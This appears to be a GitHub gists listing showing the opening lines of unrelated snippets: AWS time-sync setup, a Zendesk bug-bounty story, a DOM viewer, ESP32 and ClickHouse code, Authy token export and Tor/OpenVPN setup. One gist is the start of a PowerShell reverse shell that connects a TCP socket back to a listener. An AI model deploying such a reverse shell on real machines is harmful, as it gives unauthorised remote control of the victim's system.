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danthegoodman1 / aws-timesync-ptp.sh
Last active July 4, 2025 18:36
Setup AWS Timesync with the PTP clock for Ubuntu (x86 and arm tested)
#!/usr/bin/env bash
set -euo pipefail
echo "[1/6] Install build deps…"
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
build-essential git linux-headers-$(uname -r)
echo "[2/6] Fetch & compile ENA with PHC…"
workdir=$(mktemp -d)
@hackermondev
hackermondev / zendesk.md
Last active June 25, 2025 20:26
1 bug, $50,000+ in bounties, how Zendesk intentionally left a backdoor in hundreds of Fortune 500 companies

hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:

say hello to zendesk

If you've spent some time online, you’ve probably come across Zendesk.

Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.

Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.

your weakest link

@OrionReed
OrionReed / dom3d.js
Last active June 27, 2025 05:23
3D DOM viewer, copy-paste this into your console to visualise the DOM topographically.
// 3D Dom viewer, copy-paste this into your console to visualise the DOM as a stack of solid blocks.
// You can also minify and save it as a bookmarklet (https://www.freecodecamp.org/news/what-are-bookmarklets/)
(() => {
const SHOW_SIDES = false; // color sides of DOM nodes?
const COLOR_SURFACE = true; // color tops of DOM nodes?
const COLOR_RANDOM = false; // randomise color?
const COLOR_HUE = 190; // hue in HSL (https://hslpicker.com)
const MAX_ROTATION = 180; // set to 360 to rotate all the way round
const THICKNESS = 20; // thickness of layers
const DISTANCE = 10000; // ¯\\_(ツ)_/¯
@xxlukas42
xxlukas42 / lolin_d32_pro.ino
Last active March 3, 2023 22:47
Basic demo for Wemos Lolin D32 PRO (ESP32) with build-in SD card reader, TFT display shield and SHT30 sensor
/*************************************************************
Wemos Lolin D32 PRO (ESP32)
Basic demo
by Petr Lukas
*************************************************************/
#include <Adafruit_GFX.h> // Core graphics library
#include <Adafruit_ST7735.h> // Hardware-specific library
#include <WEMOS_SHT3X.h> // SHT30 library
#include <SPI.h>
#include <SD.h> // SD card library
@sanchezzzhak
sanchezzzhak / clickhouse-get-tables-size.sql
Created January 18, 2018 13:43
clickhouse get tables size
SELECT table,
formatReadableSize(sum(bytes)) as size,
min(min_date) as min_date,
max(max_date) as max_date
FROM system.parts
WHERE active
GROUP BY table
@ZenGround0
ZenGround0 / client.go
Created January 3, 2018 20:26
Golang HTTP multipart streaming
package main
import (
"io"
"mime/multipart"
"net/http"
"net/url"
"os"
"fmt"
)
@gboudreau
gboudreau / AuthyToOtherAuthenticator.md
Last active July 15, 2025 23:03 — forked from Ingramz/AuthyToOtherAuthenticator.md
Export TOTP tokens from Authy

Exporting your 2FA tokens from Authy to transfer them into another 2FA application

IMPORTANT - Update regarding deprecation of Authy desktop apps

Past August 2024, Authy stopped supported the desktop version of their apps:
See Authy is shutting down its desktop app | The 2FA app Authy will only be available on Android and iOS starting in August for details.

And indeed, after a while, Authy changed something in their backend which now prevents the old desktop app from logging in. If you are already logged in, then you are in luck, and you can follow the instructions below to export your tokens.

If you are not logged in anymore, but can find a backup of the necessary files, then restore those files, and re-install Authy 2.2.3 following the instructions below, and it should work as expected.

@kremalicious
kremalicious / tor-openvpn.sh
Last active July 6, 2025 23:21
Install and configure Tor as proxy for all OpenVPN server traffic
# what we want:
# client -> OpenVPN -> Tor -> Internet
# Install & configure OpenVPN
# https://www.digitalocean.com/community/tutorials/how-to-set-up-an-openvpn-server-on-ubuntu-16-04
# assumed OpenVPN configuration
# 10.8.0.1/24-Subnet
# tun0-Interface
@staaldraad
staaldraad / mini-reverse.ps1
Created October 3, 2016 14:49
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@fopina
fopina / mic_client.py
Created July 28, 2016 12:24
microphone streaming with pyAudio
#!/usr/bin/env python
import pyaudio
import socket
import sys
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 44100
CHUNK = 4096